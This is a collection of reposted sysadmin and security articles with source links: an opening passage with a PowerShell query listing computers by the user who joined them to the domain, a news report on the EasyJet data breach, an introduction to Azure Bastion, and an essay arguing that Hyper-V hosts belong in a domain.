Because of the way this is stamped on the computer, and not the user, then if you want to find out how many computers a particular user, or users, have added it’s not straight forward! If it’s something that’s happened recently you can look on your domain controllers in the security log for Event 4741.

Or if you need to do something complicated, then scripting is your friend!

Getting a List of Computers Joined to a Domain (By User)

Use the following PowerShell, (this is one command if it gets wrapped after you copy/paste it).

Get-ADComputer -Filter * -Properties ms-DS-CreatorSID | Where-Object -FilterScript { $_."ms-DS-CreatorSID" -ne $Null } | Format-Table -AutoSize -Property Name,@{Label='User';Expression={(New-Object System.Security.Principal.SecurityIdentifier($_."mS-DS-CreatorSID".Value)).Translate([System.Security.Principal.NTAccount]).Value}}

Like so;

Source :
https://www.petenetlive.com/KB/Article/0001536

British Airline EasyJet Suffers Data Breach Exposing 9 Million Customers’ Data

British low-cost airline EasyJet today admitted that the company has fallen victim to a cyber-attack, which it labeled "highly sophisticated," exposing email addresses and travel details of around 9 million of its customers.

In an official statement released today, EasyJet confirmed that of the 9 million affected users, a small subset of customers, i.e., 2,208 customers, have also had their credit card details stolen, though no passport details were accessed.

The airline did not disclose precisely how the breach happened, when it happened, when the company discovered it, how the sophisticated attackers unauthorizedly managed to gain access to the private information of its customers, and for how long they had that access to the airline's systems.

However, EasyJet assured its users that the company had closed off the unauthorized access following the discovery and that it found "no evidence that any personal information of any nature has been misused" by the attackers.

"As soon as we became aware of the attack, we took immediate steps to respond to and manage the incident and engaged leading forensic experts to investigate the issue," the company said in a statement published today.

EasyJet has also notified the Information Commissioner's Office (ICO), Britain's data protection agency, and continues to investigate the breach incident to determine its extent and further enhance its security environment.

"We take the cybersecurity of our systems very seriously and have robust security measures in place to protect our customers' personal information. However, this is an evolving threat as cyber attackers get ever more sophisticated," says EasyJet Chief Executive Officer Johan Lundgren.

"Since we became aware of the incident, it has become clear that owing to COVID-19, there is heightened concern about personal data being used for online scams. Every business must continue to stay agile to stay ahead of the threat."

As a precautionary measure recommended by the ICO, the airline has started contacting all customers whose travel and credit card details were accessed in the breach to advise them to be "extra vigilant, particularly if they receive unsolicited communications."

Affected customers will be notified by May 26.

Last year, the ICO fined British Airways with a record of £183 million for failing to protect the personal information of around half a million of its customers during a 2018 security breach incident involving a Magecart-style card-skimming attack on its website.

Affected customers should be suspicious of phishing emails, which are usually the next step of cybercriminals to trick users into giving away further details of their accounts like passwords and banking information.

Affected customers exposing their credit card details are advised to block the affected cards and request a new one from their respective financial institution, and always keep a close eye on your bank and payment card statements for any unusual activity and report to the bank if you find any.

Source :
https://thehackernews.com/2020/05/easyjet-data-breach-hacking.html

What is Azure Bastion?

In this post, you’ll get a short introduction into Azure Bastion Host. To be honest, I still don’t know if I should pronounce it as [basˈti̯oːn] (German), /bæstʃən/ (US engl.) or [basˈt̪jõn] (french) but that shouldn’t stop us from learning more about Azure Bastion Host, what is it, and when it’s useful.

We will also discuss a webinar on Azure Security –

So let’s start.

What is Azure Bastion Host?

Azure Bastion Host is a Jump-server as a Service within an Azure vNet (note that this service is currently in preview). What does that mean exactly? Well, a jump server is a fixed point on a network that is the sole place for you to remote in, get to other servers and services, and manage the environment. Now some will say, but I build my own jump server VM myself! While you’re certainly free to do that yourself, there are some key differences between the self-built VM option and a Bastion Host.

A regular Jump-server VM must either be reachable via VPN or needs to have a public IP with RDP and/or SSH open to the Internet. Option one, in some environments, is rather complex. Option two is a security nightmare. With Azure Bastion Host, you can solve this access issue. Azure Bastion enables you to use RDP and SSH via the Internet or (if available) via a VPN using the Azure Portal. The VM does not need a public IP, which GREATLY increases security for the target machine.

NOTE: Looking for more great content on security? Watch our webinar on Azure Security Center On-Demand.

After the deployment (which we’ll talk about in a second), Bastion becomes the 3rd option when connecting to a VM through the Azure Portal, as shown below.

 

After you hit connect, an HTTPs browser Window will open and your session will open within an SSL encrypted Window.

Azure Bastion Use Cases

Now let’s list some possible use-cases. Azure Bastion can be very useful (but not limited) to these scenarios:

  1. Your Azure-based VMs are running in a subscription where you’re unable to connect via VPN, and for security reasons, you cannot set up a dedicated Jump-host within that vNet.
  2. The usage of a Jump-host or Terminal Server in Azure would be more cost-intensive than using a Bastion Host within the VNet (e.g. when you have more than one admin or user working on the host at the same time.)
  3. You want to give developers access to a single VM without giving them access to additional services like a VPN or other things running within the VNet.
  4. You want to implement Just in Time (JIT) Administration in Azure. You can deploy and enable Bastion Host on the fly and as you need it. This allows you yo implement it as part of your Operating System Runbook when you need to maintain the OS of an Azure-based VM. Azure Bastion allows you to do this without setting up permanent access to the VM.

How to deploy Azure Bastion Host in preview

The way you deploy Azure Bastion Host within a VNet is pretty straightforward. Let’s go through the steps together.

    1. Open the Azure Preview Portal through the following link.
    2. Search for the feature in the Azure Marketplace and walk through the deployment wizard by filling out the fields shown below.

Again, the deployment is quite simple and most options are fairly well explained within the UI. However, if you want further details, you can find them in the official feature documentation here.

Also, be aware that a Bastion Host must be implemented in every vNet where you want to connect to a VM. Currently, Bastion does not support vNet Peering.

How Much Does Azure Bastion Cost?

Pricing for Bastion is pretty easy to understand. As all Microsoft VM Services, you pay for the time the Bastion hast is deployed and for any Bastion service you have deployed. You can easily calculate the costs for the Bastions Hosts you need via Azure Price Calculator.

I made my example for one Bastion Host in West Europe, with the assumption it would be needed all month long.

Bastion Roadmap Items

Being in preview there are still a number of things that Microsoft is adding to Bastion’s feature set. This includes things like:

  1. Single-Sign-On with Azure AD
  2. Multi-Factor Auth
  3. vNet Peering (Not confirmed, but being HEAVILY requested by the community right now)

vNet Peering support would make it so that only a single Bastion Host in a Hub or Security vNet is needed.

You can see additional feature request or submit your own via the Microsoft Feedback Forum.

If you like a feature request or want to push your own request, keep an eye on the votes. The more votes a piece of feedback has, the more likely Microsoft will work on the feature.

Source :
https://www.altaro.com/hyper-v/what-is-azure-bastion/

Yes, Your Hyper-V Host Should be Domain-Joined

There are two Hyper-V-related topics that I simply will not take questions on anymore. It’s not because I don’t like you or because I doubt that you’re truly in crisis. It’s because I believe that the cornucopia of warning signs has existed long enough that you could have easily avoided your predicament and that there will be no positive return on any time invested in helping you continue on your current path. The first of these topics is pass-through disks. Stop using them and you’ll stop having trouble with them; it really is as simple as that. The second is the topic of this post: Hyper-V hosts in workgroup mode. I have tried to find the poisoned wellspring whose judgment-clouding miasma has caused so many administrators to make this ill-fated decision, but have come up empty. I see a great many people explaining how to do it, which lends the practice an undeserved credibility. I realize that I have contributed to that as well; people wanted to know how to do it so I talked about how to do it. However, I can’t find anyone with any recognized level of authority claiming that a Hyper-V host should be excluded from the domain. It is time that we, as a community, start proclaiming that the act of placing Hyper-V hosts in workgroup-mode is poor practice.

Exceptions

Few things in this industry are fixed rules, and the domain vs. workgroup decision for Hyper-V is not one of the few. Here are a few solid reason for not joining a Hyper-V host to a domain:

  • You don’t have a domain. If not having a domain is working for you, I wouldn’t create one just for Hyper-V. Home systems are great examples. Very tiny networks are good examples. Networks where the Hyper-V host is the only Microsoft server system are good examples.
  • All the guests are in a DMZ and you don’t want to connect the physical unit to your internal network. I have done a fair bit with DMZ-based systems in my career and I don’t really believe that this reason is very solid. The Hyper-V host and its guests can be completely isolated from each other so that there is no meaningful risk of having the host exist on a protected internal network while one or more guests live entirely in a DMZ. That said, the principle is not entirely without merit and might be worth it if it makes your security officer happier. However, if the host is in the DMZ, then it must be treated like any other computer in the DMZ; that means that you cannot perform any of the security-reducing tasks that must be done to manage it remotely.
  • You have committed crimes against humanity and are seeking redemption. Remotely managing a non-domain-joined Hyper-V host by anything but RDP is ridiculously complicated and frustrating. It will work one day and not the next, just because. Every time you install an operating system update on any involved system, you’ll wonder if that’s the last time the remote connection will ever work. If you believe that you have done something so terrible as to deserve this fate, then I suppose I shouldn’t hinder you. But, I also shouldn’t help you, because that would defeat the purpose. Looking up the answers on the Internet is cheating. [Note: if you have actually committed crimes against humanity, then you are a bad person. However horrid the experience may be, using workgroup-joined Hyper-V will not absolve anyone of any atrocities.]

Even if one of the above situations applies to you, your solution should be to open the firewall on port 3389 to specified sources, enable Remote Desktop, and work with your host in an RDP session.

Responding to the Common Reasons for Leaving a Hyper-V Host Out of the Domain

Just as it’s tough to find any experts recommending this configuration, it’s surprisingly difficult to find people giving reasons for why they choose this route. I can’t tell if they think that everyone does it that way and that they’re just following the crowd or if they’ve locked themselves onto a particular course of action and reason and logic aren’t playing a part. I did find a couple of explanations, so we’ll tackle them head on.

Myth 1: Leaving a Hyper-V Host Out of the Domain Increases Security

Repeat after me: There is absolutely no condition in which a workgroup configuration is more secure than a domain configuration. It might be possible that your domain’s security is awful, but putting any connected system in a workgroup just makes everything more awful. If you then take the next step of configuring the host so that you can manage it remotely by MMC consoles, you have reduced its security below the already-pitiful protection of the workgroup system.

  • Using the TrustedHosts configuration at all lowers security. What this does is tell the system: “any computer, literally any computer, that claims to have a name on this list — trust it completely”. It is trivially simple to watch computer names travel across a network via broadcast, determine who is communicating with whom, and then spoof a name.
  • Authentication to remote workgroup-connected machines requires the full credential set to be passed to the target system on each connection. If the authentication communication is intercepted, it can be compromised. I don’t dabble much in black/white hat techniques so I wouldn’t know for sure, but I wouldn’t be surprised if simply duplicating the response packet would work just as well since machine authentication has been bypassed with TrustedHosts.
  • That tinkering that you have to do in DCOMCNFG? All of that is reducing security. I don’t even like granting read permissions to Anonymous, and here some of you are giving it administrative privileges.

I’m sure that this myth arose from some well-meaning place. Someone was probably thinking that if their Hyper-V host was compromised and a member of the domain, that the domain would similarly be compromised. Examine that for what it is. If it were true, then no computer should ever be joined to any domain for precisely the same reason. Think of what would happen if any domain member were compromised. The risks are the same. If your workgroup-connected Hyper-V host is operating even one domain-joined virtual machine, then a successful assault against the host makes its domain-joined status irrelevant. Maybe someone believed the opposite — that if the domain were compromised and the Hyper-V host wasn’t part of it, that the Hyper-V host would remain unaffected. All else being equal, cracking domain security is exceedingly more difficult than cracking workgroup security. If someone has broken into your directory, they’ll have your workgroup hosts as soon as they want them, especially if you’ve taken all of the security-reducing steps necessary for remote connectivity.

To expose this as a myth, if I were interviewing a systems administration job candidate and that person said that s/he chooses workgroup mode for anything except roles intentionally exposed directly to the Internet on the grounds that workgroup mode is more secure than domain mode, that person would not be hired. Qualifying it with, “but only for Hyper-V,” is nonsensical.

Myth 2: The Hyper-V Domain Controller Myths

I tackle issues in this category often, and I’m very disheartened that they do not appear to be losing force. If you’re not familiar with what I’m talking about, there are a few myths that involve Hyper-V and domain controllers, with the basic premise of all of them being that if a Hyper-V host cannot reach a domain controller, something critical will not work. Every single one of these notions is false. This is not the post in which I wish to have this discussion, so I’m just going to leave it with a few simple remarks. Hyper-V does not need a domain controller to start. It does not need a domain controller to start its guests. It does not need a domain controller to allow you to log on using local credentials. If the cached credentials feature is enabled in your domain, Hyper-V does not need a domain controller to allow you to log on using those cached credentials. The only time that Hyper-V ever absolutely requires a domain controller is when it is utilizing virtual machines on SMB 3 storage. Leaving the Hyper-V host out of the domain precludes it from using SMB 3 storage at all, so that is not a solution to the problem.

Not-Quite-Myth 3: The DMZ Issue

A lot of people leave Internet-facing systems, such as web servers and Exchange Edge servers, out of the domain. That makes sense because there is a greater-than-insignificant chance that the operating systems on such units could be compromised and any local credential stores cracked. Active communications sessions could also be compromised. Because some of these roles have traversal paths across the firewall into protected networks, compromised credentials or sessions would be extremely dangerous for the environment. In illustration:

Edge Traversal

A similar example is the web server/SQL server combination. The web server sits outside the domain but has a tunnel to an internal SQL server. It is definitely a valid security measure to leave these hosts off the domain so that domain credentials are (theoretically) never placed in jeopardy. There is one critical difference between leaving those out of the domain and leaving your Hyper-V host out of the domain: There are additional steps that administrators must take to ensure that no sensitive information is ever left on a web or e-mail host in the DMZ. No one who talks about leaving Hyper-V out of the domain ever brings up the topic of hardening the host against intrusion. All they talk about is crippling the security so that it can be remotely managed.

Unfortunately, some administrators have trouble with the full picture when those DMZ-based systems live on a Hyper-V host. In truth, the diagram is still exactly the same as above, provided that your network segmentation is done correctly. However, those administrators may not mentally separate the Hyper-V host from its guests; to them, a compromise of a guest is also a compromise of the host. This is not how virtualization works.

Myth 4: Workgroup Mode is the Only Way to Protect Hyper-V from Bad Group Policies

It’s no secret that there are a couple of group policies that can cause problems for Hyper-V. That’s hardly a reason to exclude it from the domain. Mitigating facts:

  • As I said before, these policies are not secret. Don’t override the Create symbolic links policy. In fact, most everything under User Rights Assignment is likely to break something somewhere, so just stay out of that branch when setting domain policies. If you’re using iSCSI, don’t enable the policy that forces it to be disabled.
  • Group policy settings that cause problems for Hyper-V cause problems for other things. If you have a policy that breaks Hyper-V, then it’s only a matter of time until it breaks something else. The proper answer is to fix the policy, not go leaving things out of the domain.
  • Active Directory has features that make these problems a non-issue. Look into Organizational Units and, if you’re really stuck, Block Inheritance. Ideally, your Hyper-V hosts will be in their own OU. If you can attach it directly to the root domain OU, that’s best. If you attach it to a sub-OU, that sub-OU can have policies that reverse those coming down from the parent.

Punishing yourself and reducing the security of your Hyper-V host is not the proper way to address a poorly configured domain. All those things do is add to your management burden which reduces the amount of time that you have available to fix your problems.

The Truths of the Domain and Hyper-V

To understand why everything is OK with plugging your Hyper-V host into the domain, you need to dig a bit into Active Directory, workgroup mode, and the basics of virtualization. I’m going to start with virtualization because it is the most important part and it explains why the DMZ issue is mostly a myth.

Virtualization is Segregation

The entire purpose behind placing systems into a DMZ is to keep them as separate as possible from your sensitive systems. Whether people realize it or not, it’s tough to have systems any more separated than they are in the inner space of a hypervisor. I often wish that the term partition hadn’t fallen out of favor in the hypervisor lexicon. This is how you should think of a hypervisor, its management operating system, and its guests:

Hypervisor Partitions

These machines share nothing in common except the Hyper-V host. This is virtually like having a lot of physical servers in the same datacenter. This is what virtualization is. Yes, there’s the VMBus and whatnot, so the management operating system isn’t entirely disconnected from the guests, but are there any known exploits of VMBus? I have heard of one “possible” compromise that was patched out. If there are any surviving issues, what difference do you expect domain membership to make? The separation is at least as good as having all of your servers in the same room using common rack, cooling, power, and switching equipment. The following is a perfectly valid configuration:

Domain and DMZ Together

In the above image, the only system that isn’t domain-joined is the web server. Its only access to the SQL server is via the firewall. Functionally, this configuration is no different than the Edge image that I showed you earlier. The only difference is that we’re talking about virtual systems instead of physical systems… as far as you know. The Edge system in the first image could very well be a guest of a domain-joined Hyper-V host that is sitting on a protected network. Although it’s not shown in these diagrams, you could certainly use dedicated NICs to host a DMZ-only virtual switch if you want. That way, the networking for the domain systems and the DMZ systems do not need to share any common physical network pathways. However, VLANs should work just as well.

The benefit of this build is that only the web server is exposed to the Internet. You don’t need to place your Hyper-V host in the DMZ at all. Should you decide to go that route anyway, make sure that you don’t make any of the security-lowering settings on the Hyper-V host so that it can be managed remotely. RDP is all you get.

The Reality of Workgroup Mode

Workgroup mode is inherently insecure. It is, in many ways, an anachronism from an era when there were no domain controllers. It survived into the early domain days for many reasons: Microsoft and backward-compatibility were once more or less synonymous terms, there was no hardware-sharing virtualization, and server-class hardware was so expensive that the phrase “entry-level server hardware” wasn’t even coined yet. Many companies just couldn’t afford the multi-thousand dollar expenditure of a domain controller, so they skipped it. Those were also the days when Microsoft’s operating system security deserved most of the ridicule that it received. Even so, Microsoft really only went far enough so as to allow members of a workgroup to share some things, like Word files. If they ever intended for one workgroup system to handle the task of managing or being managed by another, I certainly missed the memo. This was peer-to-peer networking in the truest sense of the word peer.

If all those things that you have to do in order to manage a remote workgroup system feel like dirty hacks, that’s because they are dirty hacks. In today’s era, when Microsoft has worked very hard to repair their security practices and processes, it’s simply not practical to expect them to allow anyone to break down the walls that they have spent so much time building. While they are making a few changes starting in 2016 that will coincidentally improve ease of remote workgroup management in some ways, you will still be enabling security-reducing dirty hacks in order to make Hyper-V host manageable in workgroup mode.

The Reality of the Domain

The domain is the way of the hierarchical Microsoft network. When Hyper-V is present with even one guest, the environment is automatically hierarchical. Nothing else comes close enough to even bother making comparisons. I think everyone knows this part.

With that said, each computer is still its own entity. That includes Hyper-V hosts. I know that this is a conceptual struggling point for a great many people; I have lost track of the number of times I’ve lost my temper trying to explain to vendors that if I place a domain account into the local Administrators group, then the account is a local administrator. I believe that lack of understanding around the Windows security model is what leads many administrators do some of the things that they do. When you join a computer to a domain, its local security is altered in a number of ways; Domain Admins become local admins, so on and so forth. However, local accounts remain. Services continue to run under the “LocalSystem” account. The identity of LocalSystem and other built-in accounts is unaltered. The local Security Accounts Manager (SAM) database remains, with some new entries. Group policies are enforced from the domain, but enforcement utilizes existing mechanisms on the local computer. In short, the local computer does not cease to exist as a unique entity just because it is part of a domain. Local credentials still work. Joining a domain allows you to leave the peer-to-peer network where you must compromise security in order to enable remote management and enter a hierarchical environment where you can easily establish superior/subordinate relationships without giving up any protections.

The Benefits of the Domain and Hyper-V

The summary of all of the above works itself out as several benefits that you get from joining the domain as opposed to leaving it out:

  • Drastically simplified remote management. Everything just works. The pages and pages of instructions and frustration are just not necessary. The firewall ports are automatically open, the accounts are already there, and you don’t have to do much of anything except follow industry best practices.
  • Drastically improved security. The control that your domain can exert over a Hyper-V host is the same as for any other member server. You can have a group policy that locks the host down the moment that it becomes a member. You can add and remove domain accounts and manipulate local accounts without ever directly touching the Hyper-V system again. You can authenticate with expiring Kerberos tickets instead of transmitting user name/password combinations that are valid until someone remembers that they should change passwords occasionally (read: never). When your Hyper-V host accepts a connection from a remote machine, it has the assurance of the domain controller that the remote computer is who it says that it is. Secure DNS registration works.
  • The incentive to use Hyper-V Server or Windows Server Core as opposed to GUI Windows Server is stronger. With so many things being controlled centrally, the need to directly access any individual Hyper-V host is nearly eliminated. We’ve all been told, and should understand, that a GUI-less system provides security benefits. With the plethora of historical evidence indicating that remote management of a workgroup system is going to break at some point, how comfortable will you be if your only control option is RDPing to a command line?
  • All of the features work. Shared Nothing Live Migration requires domain membership. SMB 3 shares require domain membership. Assigning SSL certificates to a domain member from your Enterprise Certificate Authority so that it can participate in secure Hyper-V Replica takes a fraction of the time of any other method.

    Source :
    https://www.altaro.com/hyper-v/domain-joined-hyper-v-host/